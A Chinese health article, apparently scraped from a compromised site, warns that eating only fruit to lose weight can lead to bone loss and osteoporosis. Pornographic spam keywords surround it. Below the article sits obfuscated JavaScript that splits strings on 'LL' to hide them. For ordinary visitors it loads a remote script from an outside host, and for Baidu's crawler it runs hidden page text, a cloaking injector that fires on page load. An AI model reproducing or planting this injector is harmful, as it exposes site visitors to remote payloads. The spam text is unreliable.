久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 減肥誤區(qū) > 正文

天天水果餐減肥小心骨質(zhì)酥松

2017-03-09 23:10:23  來源:360常識網(wǎng)   熱度:
導(dǎo)語:水果減肥餐是很多美眉減肥的一種方式,很多人為了減肥每天除了水果就什么都不吃,如此就算真的瘦下來了也容易給自己帶來骨質(zhì)疏松的。

最近天氣溫暖宜人,不少愛美女孩為了能穿上美麗的秋裝,努力保持良好體形,有的甚至一天三頓都以水果為主食,但在這里提醒大家哦,減肥減得太狠可能造成骨密度下降,重者病變?yōu)楣琴|(zhì)疏松的哦。

水果不僅含有豐富的營養(yǎng)元素,而且富含食物纖維,阻止人體產(chǎn)生脂肪,是減肥不可缺少的食物,但水果絕不是萬能的。為了保持良好體形,不少白領(lǐng)女性只吃水果,靠維生素片補充營養(yǎng),這樣的減肥減得太狠可能造成骨密度下降,在減去脂肪的同時也減掉了骨量,重者病變?yōu)楣琴|(zhì)疏松。因此,白領(lǐng)女性保持適當體重是非常必要的。人體中適當?shù)闹窘M織,能通過生化作用轉(zhuǎn)化成雌激素等,增加腸鈣的吸收,促進骨的形成。無論男女,在正常的老化過程中,大約從35歲起,骨量就會開始慢慢流失。在平時的門診中,也經(jīng)常碰到一些年輕的女性患者,由于減肥過度而引起閉經(jīng)、神經(jīng)性厭食癥,可以肯定地說,這類人群將來的骨量也是“入不敷出”的。

現(xiàn)在去醫(yī)院體檢時增加了幾個新的項目,其中就有骨密度檢測,但很多人不了解。骨密度檢測目的是測定受檢者的骨量,以便早期診斷、預(yù)防骨質(zhì)疏松癥。研究發(fā)現(xiàn),當骨量丟失到一定程度時,就會發(fā)生骨質(zhì)疏松癥。

提醒年輕女性,大部分水果含糖分較多,但是蛋白質(zhì)、脂類等含量不足,長期大量攝入,不但難以獲得減脂效果,而且必然導(dǎo)致營養(yǎng)不良。此外,水果中膳食纖維含量多,長期過量食用導(dǎo)致胃腸功能紊亂、嚴重影響身體健康,實在是得不償失。

想要減肥的朋友們,營養(yǎng)一定要抓上去哦,不能只吃水果,營養(yǎng)要均衡哦。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产精品亚洲综合 | 欧美久久a | 亚洲视频在线观看网站 | 狠狠狠色丁香婷婷综合久久五月 | 日韩精品久久久 | 日日骚av| 亚洲精品久久久久久一区二区 | 精品欧美视频 | 欧美视频一级片 | 久草在线观看福利视频 | 亚洲人人艹 | 日本色综合 | 在线天堂中文在线资源网 | www.av视频 | 久久国产精品亚洲 | 午夜男人天堂 | 国产欧美日韩综合精品 | 精品视频一区二区 | 日本黄色电影网址 | 天天天操 | 黑料社区av在线 | 欧美久久久久久 | 日韩一区二区在线电影 | 国产精品免费一区二区三区四区 | 日本中文字幕在线看 | 中文字幕日韩在线视频 | 韩日一区二区 | 毛片在线免费 | 国产精品亚洲欧美日韩一区在线 | 欧美三级电影在线 | 美女久久 | 欧美日韩一区二区三区在线观看 | 91在线入口 | 欧美 日韩 国产 一区 | 欧美同性三人交 | 精品国产一区二区 | 每日更新av| 日韩五码在线 | 欧美精品三级 | 91久久精品国产 | 毛片毛片毛片毛片毛片毛片毛片毛片毛片毛片 |